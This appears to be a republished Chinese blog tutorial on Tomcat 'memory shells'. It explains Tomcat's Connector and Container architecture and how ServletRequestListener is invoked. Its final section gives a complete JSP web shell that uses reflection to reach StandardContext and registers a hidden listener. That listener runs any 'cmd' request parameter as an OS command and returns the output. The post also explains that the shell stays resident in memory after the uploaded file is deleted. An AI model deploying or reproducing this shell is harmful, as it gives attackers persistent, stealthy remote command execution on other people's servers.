暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Tomcat 内存马(一)Listener型

洋洋的小黑屋 2021-11-13
613

一、Tomcat介绍

Tomcat的主要功能

tomcat作为一个 Web 服务器,实现了两个非常核心的功能:

  • Http 服务器功能:进行 Socket 通信(基于 TCP/IP),解析 HTTP 报文

  • Servlet 容器功能:加载和管理 Servlet,由 Servlet 具体负责处理 Request 请求

以上两个功能,分别对应着tomcat的两个核心组件连接器(Connector)和容器(Container),连接器负责对外交流(完成 Http 服务器功能),容器负责内部处理(完成 Servlet 容器功能)。

  • ServerServer 服务器的意思,代表整个 tomcat 服务器,一个 tomcat 只有一个 Server Server 中包含至少一个 Service 组件,用于提供具体服务。

  • Service服务是 Server 内部的组件,一个Server可以包括多个Service。它将若干个 Connector 组件绑定到一个 Container

  • Connector

    称作连接器,是 Service 的核心组件之一,一个 Service 可以有多个 Connector,主要连接客户端请求,用于接受请求并将请求封装成 Request 和 Response,然后交给 Container 进 行处理,Container 处理完之后在交给 Connector 返回给客户端。

  • Container负责处理用户的 servlet 请求

Connector连接器

连接器主要完成以下三个核心功能:

  • socket 通信,也就是网络编程

  • 解析处理应用层协议,封装成一个 Request 对象

  • 将 Request 转换为 ServletRequest,将 Response 转换为 ServletResponse

以上分别对应三个组件 EndPoint、Processor、Adapter 来完成。Endpoint 负责提供请求字节流给Processor,Processor 负责提供 Tomcat 定义的 Request 对象给 Adapter,Adapter 负责提供标准的 ServletRequest 对象给 Servlet 容器。

Container容器

Container组件又称作Catalina,其是Tomcat的核心。在Container中,有4种容器,分别是Engine、Host、Context、Wrapper。这四种容器成套娃式的分层结构设计。

四种容器的作用:

  • Engine表示整个 Catalina 的 Servlet 引擎,用来管理多个虚拟站点,一个 Service 最多只能有一个 Engine,但是一个引擎可包含多个 Host

  • Host代表一个虚拟主机,或者说一个站点,可以给 Tomcat 配置多个虚拟主机地址,而一个虚拟主机下可包含多个 Context

  • Context表示一个 Web 应用程序,每一个Context都有唯一的path,一个Web应用可包含多个 Wrapper

  • Wrapper表示一个Servlet,负责管理整个 Servlet 的生命周期,包括装载、初始化、资源回收等

如以下图,a.com和b.com分别对应着两个Host

tomcat的结构图:

二、Listener内存马

请求网站的时候, 程序先执行listener监听器的内容:Listener -> Filter -> Servlet

Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:

  • ServletContext,服务器启动和终止时触发

  • Session,有关Session操作时触发

  • Request,访问服务时触发

其中关于监听Request对象的监听器是最适合做内存马的,只要访问服务就能触发操作。

ServletRequestListener接口

如果在Tomcat要引入listener,需要实现两种接口,分别是LifecycleListener
和原生EvenListener

实现了LifecycleListener
接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马。

所以来看另一个EventListener
接口,在Tomcat中,自定义了很多继承于EventListener
的接口,应用于各个对象的监听。

重点来看ServletRequestListener
接口

ServletRequestListener
用于监听ServletRequest
对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized
方法。

在这里,通过一个demo来介绍下ServletRequestListener
与其执行流程

配置tomcat源码调试环境:https://zhuanlan.zhihu.com/p/35454131

写一个继承于ServletRequestListener
接口的TestListener

 public class TestListener implements ServletRequestListener {
     @Override
     public void requestDestroyed(ServletRequestEvent sre) {
         System.out.println("执行了TestListener requestDestroyed");
    }
 
     @Override
     public void requestInitialized(ServletRequestEvent sre) {
         System.out.println("执行了TestListener requestInitialized");
    }
 }

在web.xml中配置:

     <listener>
         <listener-class>test.TestListener</listener-class>
     </listener>

访问任意的路径:http://127.0.0.1:8080/11

可以看到控制台打印了信息,tomcat先执行了requestInitialized
,然后再执行了requestDestroyed

requestInitialized:在request对象创建时触发

requestDestroyed:在request对象销毁时触发

StandardContext对象

StandardContext
对象就是用来add恶意listener的地方

接以上环境,直接在requestInitialized
处下断点,访问url后,显示出整个调用链

通过调用链发现,Tomcat在StandardHostValve
中调用了我们定义的Listener

跟进context.fireRequestInitEvent
,在如图红框处调用了requestInitialized
方法

往上追踪后发现,以上的listener是在StandardContext#getApplicationEventListeners
方法中获得的

StandardContext#addApplicationEventListener
添加了listener

这时候我们思路是,调用StandardContext#addApplicationEventListener
方法,add我们自己写的恶意listener

在jsp中如何获得StandardContext
对象

方式一:

 <%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
 %>

方式二:

     WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

以下是网络上公开的内存马:

test.jsp

 <%@ page import="org.apache.catalina.core.StandardContext" %>
 <%@ page import="java.lang.reflect.Field" %>
 <%@ page import="org.apache.catalina.connector.Request" %>
 <%@ page import="java.io.InputStream" %>
 <%@ page import="java.util.Scanner" %>
 <%@ page import="java.io.IOException" %>
 
 <%!
     public class MyListener implements ServletRequestListener {
         public void requestDestroyed(ServletRequestEvent sre) {
             HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
             if (req.getParameter("cmd") != null){
                 InputStream in = null;
                 try {
                     in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                     Scanner s = new Scanner(in).useDelimiter("\\A");
                     String out = s.hasNext()?s.next():"";
                     Field requestF = req.getClass().getDeclaredField("request");
                     requestF.setAccessible(true);
                     Request request = (Request)requestF.get(req);
                     request.getResponse().getWriter().write(out);
                }
                 catch (IOException e) {}
                 catch (NoSuchFieldException e) {}
                 catch (IllegalAccessException e) {}
            }
        }
 
         public void requestInitialized(ServletRequestEvent sre) {}
    }
 %>
 
 <%
     Field reqF = request.getClass().getDeclaredField("request");
     reqF.setAccessible(true);
     Request req = (Request) reqF.get(request);
     StandardContext context = (StandardContext) req.getContext();
     MyListener listenerDemo = new MyListener();
     context.addApplicationEventListener(listenerDemo);
 %>

首先访问上传的test.jsp生成listener内存马,之后即使test.jsp删除,只要不重启服务器,内存马就能存在。



文章转载自洋洋的小黑屋,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论